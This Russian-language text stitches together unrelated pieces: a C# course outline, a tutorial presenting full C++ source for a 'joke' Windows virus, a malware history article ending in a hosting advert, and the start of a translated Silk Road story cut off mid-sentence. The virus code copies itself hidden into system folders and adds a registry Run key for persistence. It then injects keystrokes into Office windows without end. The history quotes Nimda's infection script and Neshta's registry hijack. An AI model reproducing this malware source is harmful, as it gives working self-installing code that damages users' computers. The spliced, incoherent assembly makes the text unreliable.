Язык программирования C# 6.0

Программа курса: Модуль 1. Введение в платформу .Net Основные элементы платформы .Net. Использование интегрированной среды разработки Visual Studio 2015. Определение понятия Сборка и её описание. Особенности языка программирования C#. Практика: Создание и работа со сборками в Visual Studio 2015. Работа в командной строке. Модуль 2. Введение в язык программирования C# Языковые лексемы C#. Введение в систему типов языка C#. Пространства имён. Работа со структурными типами и константами. Операции языка C#. Тип данных Nullable. Разработка пользовательских структурных типов. Практика: Создание и работа со структурой на C#. Модуль 3. Методы и операторы C# Создание и вызов методов. Перегрузка и методы с переменным числом аргументов. Параметры по умолчанию и именованные параметры Операторы ветвления. Операторы циклов. Практика: Написание методов в Visual Studio 2015. Модуль 4. Массивы и строки в C# Одномерные массивы. Многомерные массивы. Класса String. Динамические строки. Регулярные выражения. Практика: Работа с аргументами командной строки в Visual Studio 2015. Модуль 5. Разработка классов на C# Обзор основных концепций ООП. Объявление класса. Члены класса и создание объектов класса. Модификаторы доступа. Свойства и автоматические свойства. Модификаторы const, readonly и static. Конструкторы и деструкторы в C#. Partial классы. Вложенные классы. Практика: Написание классов для приложения Геометрия. Модуль 6. Наследование и полиморфизм Наследование как механизм повторного использования кода. Конструктор при наследовании Преобразование типов и операция is(as) . Виртуальные методы и позднее связывание. Абстрактные классы и методы. Модификатор new и сокрытие членов класса. Практика: Создание иерархии для приложения Геометрия. Модуль 7. Иерархия классов .Net Framework Класс Object и переопределение его методов. Упаковка и распаковка объектов. Метаданные и рефлексия. Другие полезные классы .Net Framework. Модуль 8. Обработка ошибок в C# Концепция исключений. Использование операторов try, catch и finally. Создание своих классов исключений. Практика: Контроль за переполнением при целочисленных вычислениях. Модуль 9. Интерфейсы в C# Концепция интерфейсов. Объявление интерфейса. Реализация интерфейса. Итераторы в .Net Framework. Практика: Разработка альтернативных итераторов для вывода массива объектов. Модуль 10. Потоки данных в .Net Framework Обзор классов потоков. Работа с байтовыми потоками. Работа с потоками символов. Сериализация объектов в C#. Модуль 11. Коллекции в .Net Framework Обзор классов коллекций. Концепция параметризованных типов данных. Ключевое слово default и ограничения для параметризованных типов. Обзор параметризованных коллекций. Практика: Работа с данными в приложении Геометрия. Модуль 12. Перегрузка операций в C# Перегрузка унарных операций. Перегрузка бинарных операций. Перегрузка операции индексации. Перегрузка операции преобразования типа. Расширяющие методы для классов и интерфейсов. Модуль 13. Делегаты и события в C# Создание и работа с делегатами. Классы Action<> и Func<> Анонимные методы. Лямбда выражения. События. Практика: Асинхронный вызов метода. Модуль 14. Расширенные возможности C# Атрибуты. Сборка мусора и освобождение ресурсов. Работа с динамическими типами. Асинхронное программирование. LINQ. Практика: Реализация асинхронного паттерна.

[C++] Простой вирус

Доброго времени суток, господа. Сегодня на повестке дня у нас создание шуточного вируса для Windows.
// Подключаем библиотеки и создаем основные переменные.
#include <windows.h>
#include <iostream>
WINAPI WinMain(HINSTANCE hint, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
HKEY key;
char sysdir[256],
windir[256],
myname[256];
/*Узнаем свое имя функцией GetModuleFileName. И узнает адрес папки windows и папки system32 функциями GetWindowsDirectory и GetSystemDirectory*/
GetModuleFileName(hint,myname,256);
GetWindowsDirectory(windir,sizeof(windir));
GetSystemDirectory(sysdir,sizeof(sysdir));
/*Добавляем к строкам содержащим пути к системным папкам имя нашего вируса, чтобы скопировать в эти папки себя.*/
strcat(windir,»\\internet.exe»);
strcat(sysdir,»\\internet.exe»);
//Копируемся и ставим себе скрытые атрибуты
CopyFile(myname,windir,FALSE);
CopyFile(myname,sysdir,FALSE);
SetFileAttributes(windir,FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(sysdir,FILE_ATTRIBUTE_HIDDEN);
//Прописываемся в реестр на автозагрузку
RegOpenKeyEx(HKEY_LOCAL_MACHINE, «Software\\Microsoft\\Windows\\CurrentVersion\\Run», 0,KEY_WRITE, &key);
RegSetValueEx(key,»internet.exe»,0,REG_SZ,(BYTE *)sysdir,256);
RegCloseKey(key);
//Ожидаем 2 минуты. Зачем не знаю:)
Sleep(60000*2); //Две минуты
/*Запускаем бесконечный цикл каждые 10 секунд. В цикле ищем окна содержащие в своих заголовках Microsoft Word, Microsoft Excel,Microsoft PowerPoint. Максимизируем окно, переключаем раскладку клавиатуры на русскую и эмулируем нажатие на несколько клавиш. В результате в окне пользователя в WORD сам по себе печатается текст «Вы ламер».*/
int k=0;
do
{
if (FindWindow(NULL, «Microsoft Word»)!=0 || FindWindow(NULL, «Microsoft Excel»)!=0 || FindWindow(NULL, «Microsoft PowerPoint»)!=0)
{
ShowWindow(FindWindow(NULL, «Microsoft Word») , SC_MAXIMIZE);
LoadKeyboardLayout(«00000419», KLF_ACTIVATE);
Sleep(10000);
do
{
keybd_event(‘D’, 0,0,0);
keybd_event(‘D’, 0,KEYEVENTF_KEYUP,0);
keybd_event(‘S’, 0,0,0);
keybd_event(‘S’, 0,KEYEVENTF_KEYUP,0);
keybd_event(VK_SPACE, 0,0,0);
keybd_event(VK_SPACE, 0,KEYEVENTF_KEYUP,0);
keybd_event(‘K’, 0,0,0);
keybd_event(‘K’, 0,KEYEVENTF_KEYUP,0);
keybd_event(‘F’, 0,0,0);
keybd_event(‘F’, 0,KEYEVENTF_KEYUP,0);
keybd_event(‘V’, 0,0,0);
keybd_event(‘V’, 0,KEYEVENTF_KEYUP,0);
keybd_event(‘T’, 0,0,0);
keybd_event(‘T’, 0,KEYEVENTF_KEYUP,0);
keybd_event(‘H’, 0,0,0);
keybd_event(‘H’, 0,KEYEVENTF_KEYUP,0);
}while(1);
}
}while(1);
}
Вот и весь вирус-шутник. Вся информация предоставлена исключительно для ознакомления и не может расцениваться как руководство к написанию вредоносных программ. Исходники оригинального вируса были найдены в сети интернет и комментированны мной в целях повышение уровня знаний пользователей при борьбе с вирусами.

Вредоносное ПО, вошедшее в историю. Часть II

Как уже говорилось в предыдущей части — вирусы это неотъемлемая часть мира компьютерных технологий и Интернета. Они бывают разные: забавные и безвредные, большие и сложные, быстрые и разрушительные, шпионские и даже диверсионные. Создатели этих программ явно обладают светлым умом, но не всегда чистой совестью. Сегодня мы познакомимся с вирусами, которые не вошли в подборку предыдущей части. Поехали. ANIMAL Эта программа лишь формально носит звание «червя», поскольку изначально никаких зловредных намерений у ее автора не было. ANIMAL — компьютерная игра-угадайка, где игрок может давать подсказки игре, а та должна угадать какое животное он загадал. Работала игра на компьютерах UNIVAC 1100/42 под ОС Exec-8. А создана она была еще в далеком 1974 году Джоном Волкером, которого буквально начали засыпать просьбами поделится своим творением. В то время для этого следовало записать программу (в данном случае, игру) на магнитную ленту и отправить по почте. Этот муторный процесс крайне надоел Джону и в январе 1975 года он дописал специальную подпрограмму PERVADE, задачей которой был поиск свободного каталога и запись игры на него. Так распространение игры пошло гораздо быстрее. Creeper Возможно первая программа, которая может именоваться интернет червем. Была обнаружена в начале 70-ых, а распространялась через ARPANET (предшественник современного Интернета). История создания и даже самого существования Creeper окутана тайнами, теориями и неточностями. Кто-то говорит, что программа вышла в мир в начале 70-ых, а кто-то считает, что еще в конце 1960-ых. Известно, что Creeper была написана Бобом Томасом. Он также был автором подсистемы RSEXEC ОС Tenex, на базе которой Creeper и действовал. Основными действиями Creeper было выведение на экран в терминале сообщения — «I’M THE CREEPER… CATCH ME IF YOU CAN» и перенос себя с одной машины на другую. То есть программа не копировала себя, а именно перескакивала с устройства на устройство. Далее Рэй Томлинсон, коллега Боба Томаса, написал программу REAPER, задачей которой был поиск и уничтожение Creeper. Таким образом появилась первая программа-нематода — простыми словами, вирус, который уничтожает другой вирус. Elk Cloner Еще один представитель ранних форм вирусов. Был написан Ричардом Скрента, парнем 15 лет, специально под Apple II. Заражал он ОС DOS, которая была записана на гибких дисках. Как только компьютер загружался с этой дискеты, вирус активировался. Еще он отслеживал, когда происходил доступ к не зараженным дискетам и копировал себя на них, тем самым распространяясь по системе. Однако особого вреда этот вирус не нес. Через каждые 50 загрузок он выводил стелющее сообщение:
Elk Cloner: The program with a personality It will get on all your disks It will infiltrate your chips Yes it’s Cloner! It will stick to you like glue It will modify ram too Send in the Cloner!
Jerusalem Обнаруженный в Израиле в конце 1987 года, этот вирус пробыл активным до 1995 года. Заражал файлы .com and .exe под операционной системой DOS. Вирус далее заражал все программы, что запускались на машине после его активации. У Jerusalem было два кардинально противоположных результата деятельности, безвредный и крайне разрушительный. Первый — также называемый BlackBox — это вывод на экран (если система в текстовом режиме) черного квадрата с ряд 5, строка 5 по ряд 16, строка 16. Второй результат — каждую пятницу 13-ого вирус удалял любую программу, запущенную в этот день. Еще одной забавной особенностью вируса была то, что он избегал заражения файла COMMAND.COM. DATACRIME Наделавший много шума в далеком 1989 году, вирус Datacrime перезаписывал части жестких дисков и выводил сообщение. А теперь по порядку. Вирус попадал на компьютер, когда открывался зараженный файл. Далее он сканировал диски в определенной последовательности (C:, D:, A:, B:) в поисках файлов .com для их заражения. Забавно, что вирус обходил десяток дорогой файл, в которых седьмой буквой была D, видимо избегая заражения COMMAND.COM. Если зараженный файл запускался 13 октября или после, то вирус выводил следующее сообщение: «DATACRIME VIRUS’ ‘RELEASED: 1 MARCH 1989». После чего форматировал первые 9 дорожек жесткого диска. AIDS Троян, который заменят файл AUTOEXEC.BAT, который в последствии использовал для подсчета сколько раз компьютер загружался. На 90 раз AIDS прятал директории, шифровал имена файлов на диске С, чем делал систему неработоспособной. Далее вирус предлагает пользователю зараженной машины «обновить лицензию» и связаться с PC Cyborg Corporation для проведения платежа (перевести 189 долларов на почтовый ящик в Панаме). Также есть версии вируса AIDS, которые не ждут 90 загрузки ПК, а нарушают работу диска С сразу после своей активации. Создатели AIDS также давали своим жертвам ознакомится с «лицензионным соглашением», текст которого содержал следующее:
If you install [this] on a microcomputer… then under terms of this license you agree to pay PC Cyborg Corporation in full for the cost of leasing these programs… In the case of your breach of this license agreement, PC Cyborg reserves the right to take legal action necessary to recover any outstanding debts payable to PC Cyborg Corporation and to use program mechanisms to ensure termination of your use… These program mechanisms will adversely affect other program applications… You are hereby advised of the most serious consequences of your failure to abide by the terms of this license agreement; your conscience may haunt you for the rest of your life… and your [PC] will stop functioning normally… You are strictly prohibited from sharing [this product] with others…
В конечном итоге вирус проигрывал звук (некий «писк») и выводил сообщение:
ATTENTION I have been elected to inform you that throughout your process of :collecting and executing files, you have accdientally (sic) ¶HÜ¢KΣ► [PHUCKED] :yourself over: again, that’s PHUCKED yourself over. No, it cannot be; YES, it CAN be, :a √ìτûs [virus] has infected your system. Now what do you have to say about that? :HAHAHAHAHA. Have ¶HÜÑ [PHUN] with this one and remember, there is NO cure for AIDS (огромным шрифтом).
Win95.CIH Также известен как Чернобыль, вирус был впервые обнаружен в июне 1998 года на территории Тайваня. Как только вирус активируется, путем открытия зараженного файла, он захватывал все исполняемые файлы. При этом зараженные файлы не отличались по «весу» от своей здоровой версии, за счет уникального метода инфицирования, который использовал CIH. Он искал пустые, неиспользованные места в файлах, потом разбивал себя на несколько маленьких частей и внедрял код этих частей в пустое пространство. CIH фактически имел два варианта исхода своей деятельности, оба активировались 26 апреля. В первом случае вирус перезаписывал жесткий диск, начиная с сектора 0, используя бесконечную петлю, пока система полностью не упадет. Второй вариант — атака на Flash BIOS и попытка повреждения хранимых там данных, что приводило к тому, что ничего не отображалось, когда компьютер запускался. Жертвами вируса были машины под ОС Windows 95, 98 и ME. Жертвами вируса CIH стало огромное число компьютеров и компаний. В Корее пострадало около 1 миллиона ПК, а ущерб составил $250 миллионов. Также пострадали и Бостонский Университет (данные учащихся были удалены прямо перед экзаменами), 200 компьютеров в Сингапуре, 100 в Гонг Конге, 10 крупных компаний в Индии и другие. CIH так сильно распространился, что даже некоторые программы, поставляемые на рынок, были им заражены, включая игру Wing Commander, обновления драйверов для CD-R400 от компании Yamaha, и даже компьютеры Aptiva от компании IBM вышли на рынок с пре-установленным вирусом. OneHalf Один из самых распространенных вирусов середины 90-ых. После заражения вирус устанавливал себя в Master boot record загрузочного диска. Инфицировал память компьютера при загрузке ОС, после чего перехватывал прерывание INT 21h. При каждом запуске ПК, вирус шифровал 2 дорожки на жестком диске. Когда половина диска была зашифрована, вирус выводил на экран сообщение примерно такого вида:
Dis is one half. Press any key to continue …
Зашифрованные части диска не могли больше быть использованы системой, потому даже удаление вируса не ликвидировало проблему полностью. OneHalf является представителем стелс-вирусов, поскольку использовал полиморфные методы распространения, что не давало возможности большинству антивирусов его обнаружить. Когда в свет вышла ОС Windows 95 и более новые версии, вирус OneHalf практически вымер. Morris worm Роберт Таппан Моррис Скандально известный сетевой червь. Был зафиксирован первый раз 2 ноября 1988 года, за что получил свое альтернативное название — Internet worm of November 2, 1988. Наделал немало шума в период своего существования. Творцом червя стал Роберт Таппан Моррис, аспирант Корнеллского университета. Роберт не собирался заражать весь ARPANET, он думал, что его творение будет инфицировать только VAX-компьютеры с операционными системами 4BSD и Sun 3. Но у червя был портируемый Си-код, что дало ему возможность распространяться и на других машинах. Как действовал червь. Для начала он проводил сканирование компьютера, пытаясь выяснить заражен ли он уже или нет. Потом случайным образом перезаписывал себя для того, чтобы обеспечить свою незаметность. Основой деятельности червя была уязвимость в почтовом сервере Sendmail, сервисах Finger, rsh/rexec с подбором паролей по словарю. Данный словарь состоял из 400 ключевых слов, всего лишь. А учитывая, что в те времена мало кто уделял должное внимание безопасности, логин и пароль частенько совпадали. Чтобы скрыть свой след Morris worm удалял свои исполняемые файлы, переименовывал свой процесс в sh. Ирония заключается в том, что отцом Роберта, автора червя, был компьютерный эксперт АНБ. Он посоветовал сыну сдаться властям, что последний и сделал. Так случилось первое в истории судебное дело по статье Computer Fraud and Abuse Act (1986). Роберту грозило 5 лет тюрьмы и 250 000 долларов штрафа. Но за счет того, что он сам себя сдал, ему присудили 3 года условно, 10 000 штрафа и 400 часов общественных работ. Red October Любители фильмов про Джеймса Бонда и все шпионское, этот пункт для вас. В октябре 2012 года антивирусная компания Kaspersky Lab обнаружила шпионскую вредоносную программу. Исследователи данного вируса заявили, что он активно функционировал по всему миру в течении 5 лет, прежде чем его обнаружили. Вирус собирал и передавал своим создателям информацию различного характера (секретную, дипломатическую, государственную, персональную и т.д.). Вирус распространялся через электронное письмо с зараженным файлом, и использовал для своего дальнейшего распространения уязвимости в Microsoft Word и Excel. Позднее была обнаружена веб-страничка, которая использовала уязвимость плагина Java. После разоблачения, доменные регистраторы и хостинг-компании по всему миру прикрыли порядка 60 доменных имен, которые использовались вирусом Red October. Сами же злоумышленники после такого поворота событий прекратили распространение Red October. До сих пор неизвестно кто является автором Red October и какие именно цели он (или они) преследовали. Cookie Monster Для тех, кто помнит прекрасное детское шоу «Улица Сезам», название Cookie Monster ассоциируется с большим синим монстром, который просто фанатеет от печенья. В 1970 же году Крис Таварес написал одноименную программу для компьютера IBM 2741 ОС Multics. Эта программа выводила в терминале сообщение «дай мне печенья», а пользователь должен был ввести «cookie» (с анг. — печенье), чтобы разблокировать терминал. Изначально Cookie Monster был программой для смеха. Автор вручную рассылал ее своим одногруппникам. Конечно же, Cookie Monster нельзя назвать вирусом (хотя многие источники именно так его и называют), поскольку у него нет механизма репликации и распространения. Но, все же, Cookie Monster можно отнести с программам вредоносного характера, хоть и вреда особо не было. Ontario Не просто один вирус, а целое семейство вирусов под названием Ontario, первый представитель которого был обнаружен еще в июле 1990 года — Ontario.512. Ontario.512 активировался путем открытия зараженного файла ( .COM, .EXE или .OVL). Далее становился резидентной программой и заражал все файлы, что открывались на компьютере после этого. Зараженные файлы увеличивались в размере на 512 байт (файлы расширения .COM) или на 512-1023 байта (файлы расширения .EXE и .OVL). Некоторые системы с большими файловыми секторами могли выдавать информацию об увеличении размера файлов на больше чем 1023 байта. Ontario.1024 был обнаружен в октябре 1991 года. Также заражал файлы, но только с расширением .COM или .EXE, увеличивая их размер на 1024 байта. Если же вирус располагался в самой памяти компьютера, пользователь не получал информации об увеличении размера файлов. Это было проявлением стелс (скрытность) механизмов вируса. Также вирус уменьшал доступный объем памяти на 3072 байта и мог вызывать проблемы в работе с принтерами. Ontario.2048 был выявлен в сентябре 1992 года. В отличии от предшественников, обладал характеристиками полиморфного и стелс вирусов. При открытии зараженного файла (расширения .COM, .EXE, .OVL, или .SYS), вирус становился резидентной программой и заражал все файлы, открывающиеся после этого. Инфицированные файлы увеличивались в размере на 2048 байта, но, как и в случае с Ontario.1024, если вирус был в самой памяти, то таких симптомов обнаружить не удавалось. Также вирус содержал зашифрованный текст: COMSPEC=\COMMAND.COM COMEXEOVLSYS MSDOS5.0 YAM Your PC has a bootache! — Get some medicine! Ontario-3 by Death Angel
  • Первая строка — отсылка к методу заражения файла COMMAND.COM + расширения инфицируемых файлов;
  • Вторая строка — версия MS-DOS, на которой был написал вирус;
  • Третья строка — группа вирусописателей Youngsters Against McAfee (к которой автор присоединился);
Также из текста можно предположить, что автором всех трех вирусов семейства Ontario является некий Death Angel. С появлением ОС Windows распространение вирусов Ontario начало уменьшатся. И уже к 2006 году они фактически вымерли. Neshta Не стоит думать, что вирусные гении есть только в США. Среди программистов из стран бывшего СССР полно умных ребят, но не все используют свой ум в благих целях. Как, например, автор вируса Neshta. Впервые его обнаружили в 2005 году. Считается, что вирус был создан в Белорусии, где и имел наибольшее распространение. К тому же слово « Neshta» относится к белорусскому слову «нешта», что в переводе означает «нечто». Создан вирус был на языке программирования Delphi. При заражении компьютера вирус Neshta создавал в системной папке «Windows» файл svchost.com, а в реестре добавлялась следующая строка: [HKCR\exefile\shell\open\command] @=»%WINDIR%\svchost.com \»%1\» %*». Это приводило к тому, что при запуске какого-либо файла с расширением .exe, вирус его заражал, а вместо него запускался svchost.com. Все инфицированные файлы увеличивались в размере на 41472 байта, за счет внедрения в них вредоносного кода. В одной из версий вируса (их было две: a и b) присутствовало послание автора следующего содержания:
Delphi-the best. Fuck off all the rest. Neshta 1.0. Made in Belarus. Прывiтанне ўсiм ~цiкавым~ беларус_кiм дзяўчатам. Аляксандр Рыгоравiч, вам таксама. Восень — кепская пара… Алiварыя — лепшае пiва! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
Жертвами вируса стало множество компаний, в том числе и белорусский банк «Технобанк», все компьютеры которого были заражены в 2007 году. Это привело к тому, что клиенты данного фин. учреждения не могли проводить денежные операции в течении нескольких дней. Вирус Neshta так сильно подпортил всем нервы, что правоохранительные органы Белоруссии обьявили охоту на его автора, но, как известно, безрезультатно. Nimda Один из самых примечательных червей. Стал первым червем способным запускаться без необходимости открытия зараженного электронного письма. Первым начал модифицировать сайты, дабы предлагать пользователю скачать файл (содержащий червя, естественно). Для своего распространения Nimda использовал не один метод, а целых 5:
  • Электронная почта;
  • Открытые общие сетевые ресурсы;
  • Зараженные веб-сайты;
  • Уязвимости в IIS;
  • Бэкдоры, оставленные в системах червями-предшественниками Code Red II и sadmind/IIS
Подробнее о методах распространения Зараженные сайты На зараженном червем сайте имеется код JavaScript, который заставляет браузер скачивать файл README.EML, содержащий червя: script language=«JavaScript»> window.open(«readme.eml», null, «resizable=no,top=6000,left=6000») Файл README.EML откроется в уменьшенном окне, если пользователь использует браузер Explorer 5.5 с Service Pack 1 (или более ранние версии пакетов обновлений). Есть вероятность, что таким методом червь не может заразить системы Windows NT или Windows 2000. Электронная почта Тема письма и само сообщение могут отсутствовать или быть случайными. В письме будет приложенный файл — README.EXE, который может запустится даже из панели предпросмотра без какого-либо вмешательства пользователя, поскольку использует уязвимость в Explorer 5.5 с Service Pack 1, когда Explorer использовался для рендеринга html-почты. Локальные сети В случае подключения к локальной сети с зараженным ПК, машина-жертва получит файл RICHED20.DLL, размещенный в любой из папок с файлами расширения .doc или .eml. Эти файлы будут скрыты. Серверы Используя уязвимость в серверах Microsoft IIS 4.0 / 5.0, червь копируется в директорию «scripts» под именем ADMIN.DLL. Червь Nimda (admin задом наперед) заражал персональные компьютеры на системах Windows 95, 98, NT, 2000 или XP и серверы на Windows NT и Windows 2000. В коде червя было обнаружено следующее: Concept Virus(CV) V.5, Copyright©2001 R.P.China. Это убедило многих исследователей в том, что это ПО было разработанно именно в Китае, но кроме того факта, что первое распространение прошло из сетей в Азии, никаких точных данных нет. CryptoLocker Тут пойдет речь не просто о вредоносном ПО, а о целой кибератаке, произведенной с его помощью. В период с 5 сентября 2013 года по май 2014 многие пользователи ОС Windows стали жертвами вымогателей. Основой атаки стал троян, который распространялся через зараженные вложенные файлы в электронной почте. Когда ПК заражался, троян шифровал файлы Microsoft Office, OpenDocument, изображения и файлы AutoCAD. Далее на экран выводилось сообщение, информирующее пользователя о том, что его файлы зашифрованы, и если он хочет получить их обратно, то необходимо заплатить 400 долларов (или евро) через анонимный предоплаченный кассовый ваучер либо такую же сумму но в переводе на биткойны. Сделать это надо в течение 72 часов или 100 часов. В противном же случае ключ на сервере (необходимый для расшифровки) будет уничтожен, а файлы так и останутся зашифрованными. Если пользователь-жертва решался все же на сделку, он загружал программу дешифровки. Однако многие из пострадавших утверждали, что даже после оплаты их файлы остались зашифрованными. В ноябре 2013 года творцы CryptoLocker пошли еще дальше в своей наглости и уверенности в безнаказанности. Они открыли онлайн-центр, где жертвы могли выплатить выкуп за свои данные, даже если прошел дедлайн (в таком случае цена увеличивалась до 10 биткойнов). 2 июня 2014 года было официально заявлено о проведении ранее операции Tovar, в результате которой был ликвидирован ботнет Gameover Zeu, использованный для распространения CryptoLocker. Одним из обвиняемых стал российский хакер по имени Евгений Богачёв. По данным, собранным исследователями атаки, хакеры-вымогатели обогатились на 3 миллиона долларов. Netsky Червь года 2004, если можно так выразиться.
Распространялся через спам-письмо с такими возможными отправителями:
Текст письма содержал следующее:
#—————— message was sent by automail agent ——————# Congratulations! You were successful in the auction. Auction ID :<**** **** ****>-A Product ID :<**** **** ****>-P (где **** **** **** — набор случайных цифр) A detailed description about the product and the bill are attached to this mail. Please contact the seller immediately. Thank you!
 
К письму прилагался файл с якобы деталями аукциона:
При открытии зараженного файла вирус создавал мьютекс, предотвращающий запуск более чем одной копии червя, который копировал себя в папку Windows под именем Services.exe. Далее Netsky добавлял в реестр специальную запись, позволяющую ему запускаться при включении компьютера. Еще одной, весьма забавной, особенностью червя было удаление им записей Taskmon и Explorer из реестра ключей, которые были там оставлены другим червем Mydoom. Netsky также сканировал все диски в поисках папок с именами содержащими «share» или «sharing» и копировал себя в них в виде
следующих файлов:
Также для дальнейшего распространения червь выискивал адреса электронной почты среди файлов
расширения
Результатом деятельности червя было сильное замедление, а порой и падение, работы компьютеров, что, в свою очередь, привело к колоссальным финансовым потерям. Они составили примерно от 25,6 до 31,3 миллиардов долларов по всему миру. Автором сего творения считается Свен Яшан (Sven Jaschan), студен из Германии. Он также является автором червя Sasser (о нем в следующем блоке). Свен был пойман и осужден к 21 месяцу условно и 30 часам общественных работ. Sasser Еще одно творение Свена Яшана. Датируется 2004 годом. Наделал немало шума и вреда в финансовом эквиваленте, хотя изначально не имел такой цели. Червь распространялся, используя уязвимость в службе LSASS Microsoft Windows, при этом не требовал никаких действий со стороны пользователя-жертвы для активации. Sasser создавал FTP сервер на порту 5554 для своего распространения. На диске С червь создавал файл под рутом с именем win.log, который содержал IP адрес компьютера, который червь пытался заразить в последнее время. Также червь использовал Windows API для проверки IP адреса системы, чтобы в дальнейшем на его основе сгенерировать новый адрес. в 25% случаев первые 2 цифры сгенерированного адреса совпадают с хостом, когда последние 2 случайны. Есть вероятность в 23%, что только первая цифра будет совпадать, и вероятность в 52%, что сгенерированный IP будет абсолютно случаен. Процесс выбора случайного адреса использует 128 потоков, что может значительно ухудшить производительность зараженной машины. Также Sasser создает скрипт (cmd.ftp) в системе машины-жертвы, который «заставляет» ее скачивать червя из инфицированного ftp-сервера. После того, как скачивание завершено, скрипт удаляется. Исходом работы червя была постоянная перезагрузка компьютера с выводом на экран ошибок процесса lsass.exe. Однако этого хватило, чтобы многие компании понесли огромные потери. В общей сложности ущерб от Sasser составил примерно 18 миллиардов долларов. Всего заражено было около 250 000 машин. Как упоминалось ранее, Свен был, в последствии, наказан за свое творение. Если бы в его действиях выявили корыстные намерения, то наказание было бы гораздо суровее. Anna Kournikova В 2001 году датский программист Ян де Вит создал червь Anna Kournikova. Пользователь-жертва получал письмо с якобы фотографией известной теннисистки Анны Курниковой. Фотки там естественно не было, но был червь, который заражал компьютер, если файл его содержащий открывался. Имя фала было таковым AnnaKournikova.jpg.vbs. Причина, по которой пользователь мог не задумываясь открыть файл в стандартных настройках Windows, которые скрывали расширение файла. Таким образом пользователь видел следующее — AnnaKournikova.jpg. Далее червь сканировал базу адресов почты в Microsoft Outlook и рассылал себя всем контактам. Разработка червя заняла у де Вита пару часов. По данным следствия он использовал специальную программу на Visual Basic «Worm Generator», которую скачать в воскресенье 11 февраля. И в тот же день, примерно в 15:00, червь был готов и выпущен в Интернет. В полицию Ян де Вит пришел сам. Адвокаты настаивали на том, что де Вит не желал никому зла и создал червя без оглядки на последствия. Однако ФБР предоставили доказательства того, что вред все же был, и не маленький, больше 166000 долларов. В итоге, Ян был осужден к 150 часам общественных работ или 75 дням лишения свободы. agent.btz Компьютерный червь, поставивший на уши Пентагон. В 2008 году флешка, зараженная червем agent.btz, была вставлена в ноутбук на военной базе США в Среднем Востоке. Компьютер был подключен к Центральному командованию вооружённых сил США (USCENTCOM). Червь распространился по всем системам, включая секретные. Он делал это путем создания файла AUTORUN.INF в руте каждого из дисков. Также мог сканировать компьютер на наличие бэкдоров, которые использовал для дальнейшего распространения. Пентагон потратил около 14 месяцев на то, чтобы очистить свои системы от червя. Они даже запретили использовать флешки или другие переносные носители информации. Вокруг этого червя было много спекуляций и теорий заговора. Кто-то считал, что его разработал хакер-одиночка. А Пентагон стал лишь случайной жертвой в числе многих. Другие же заверяли, что червь — продукт диверсионной деятельности России или Китая. Zeus Троян, ставший оружием в руках мошенников. Впервые был обнаружен в 2007 году. Распространялся троян через социальные сети (порядка 1,5 миллионов фото-постов в Facebook, которые редиректились на сайт с трояном) и через электронную почту. После заражения, внедрялся в систему и сканировал ее на наличие информации регистрационного типа (логины и пароли). Таким образом злоумышленники получали возможность подключиться к банковским аккаунтам своих жертв и проводить операции по переводу денег. Средства переводились на другие «зараженные» аккаунт или на подставные счета, что усложняло процесс отслеживания цепочки злоумышленником. Некоторые версии Zeus маскировались, используя цифровую подпись Kaspersky Lab, которая в следствии изучения была признана поддельной. Также большей распространенности служило то, что троян мог инфицировать не только компьютеры под управлением Windows, но и мобильные устройства с ОС BlackBerry или Android. В 2010 году, 1 октября, ФБР заявило о проведении одной из самых масштабных операций по поимке преступников, которые были причастны к краже порядка 70 миллионов долларов со счетов жертв трояна Zeus. Было арестовано около 100 человек: 90 в США, остальные в Великобритании и Украине. Заключение О компьютерных вирусах, троянах и червях можно говорить практически вечно, ведь каждый день появляется если не новый вирус, то уж точно новая версия старого. Какие-то из них создавались для забавы и творческой самореализации, другие же стали инструментом преступников, обворовывающих своих жертв. Но, все же, хотелось бы заметить, что большинство случаев заражения происходили по вине самой жертвы, а точнее из-за ее наивности и доверчивости. Потому не стоит открывать странные письма, типа «Great_boobs.png», или посещать сомнительные сайты. Также не стоит забывать обновлять свой антивирус. Приятного всем дня и безопасного серфинга в Интернете. На правах рекламы.Это не просто виртуальные серверы! Это VPS (KVM) с выделенными накопителями, которые могут быть не хуже выделенных серверов, а в большинстве случаев — лучше!
 Мы сделали VPS (KVM) c выделенными накопителями в Нидерландах и США (конфигурации от VPS (KVM) — E5-2650v4 (6 Cores) / 10GB DDR4 / 240GB SSD или 4TB HDD / 1Gbps 10TB доступными по уникально низкой цене — от $29 / месяц, доступны варианты с RAID1 и RAID10), не упустите шанс оформить заказ на новый тип виртуального сервера, где все ресурсы принадлежат Вам, как на выделенном, а цена значительно ниже, при гораздо более производительном «железе»!

Расцвет и упадок «Шелкового пути». Часть первая: Расцвет

 
Братья Коэны приступили к написанию сценария по этой статье Джошуа Бермана в Wired. Подробное расследование под названием «Расцвет и упадок Шелкового пути» раскрывает историю подпольной площадки по торговле наркотиками. Публикуем перевод первой части.

Хроническая боль

Почтальон позвонил один раз. Кертис Грин встречал утро дома с полтора литрами «Кока-колы» и сахарными пончиками. Его пальцы были испачканы сахарной пудрой, когда он, вздрогнув, услышал кого-то у двери. Было 11 часов дня и он не ожидал гостей в своем скромном доме в городке Спэниш Фок, штат Юта, у подножия гор Уосатч. Прихрамывая, Грин подбежал к двери, поправляя на ходу свисающую поясную сумку цвета хаки. В свои 47 лет его тело уже начало барахлить: его мучил избыточный вес, четыре грыжи в межпозвоночных дисках, скверное колено и зубные импланты. При передвижении он иногда пользовался розовой тростью своей жены. Две собачки породы чихуахуа, Макс и Сэмми, внимательно следили за ним. Он выглянул в окошко и увидел убегающего почтальона. На парне был служебный жилет почтового оператора UPS, а также джинсы и кроссовки. «Странно», подумал Грин. Еще он заметил странный микроавтобус, припаркованный на противоположной стороне улицы — белого цвета, без надписей и задних окон. Грин открыл дверь. Была зима, облачно, солнце стояло низко над горизонтом. Бледная дымка размыла белый пик горы Спэниш Фок, возвышавшейся над долиной. Грин посмотрел вниз — на пороге лежала почтовая посылка первого класса, размером с томик Библии. Он поднял ее, она была тяжелая, без обратного адреса, с маркой из штата Мэриленд. Грин поразмыслил и отнес ее на кухню, где вскрыл упаковку ножницами, выпустив на волю облачко белого порошка, покрывшего его лицо. И лишь затем группа спецназовцев SWAT сорвала тараном его дверь с петель. Весь дом заполнился полицейскими в полной боевой экипировке, черных масках и оружием наготове. А Грин стоял, весь покрытый кокаином, с двумя чихуахуа по бокам. «На пол!», заорал кто-то. Грин выронил посылку и попытался успокоить собак, когда кто-то наставил на него пистолет: «Держи свои руки так, чтобы мы их видели!» Офицеры сковали его наручниками и повалили на пол, отмахиваясь от чихуахуа Макса, который пытался укусить их. Агенты 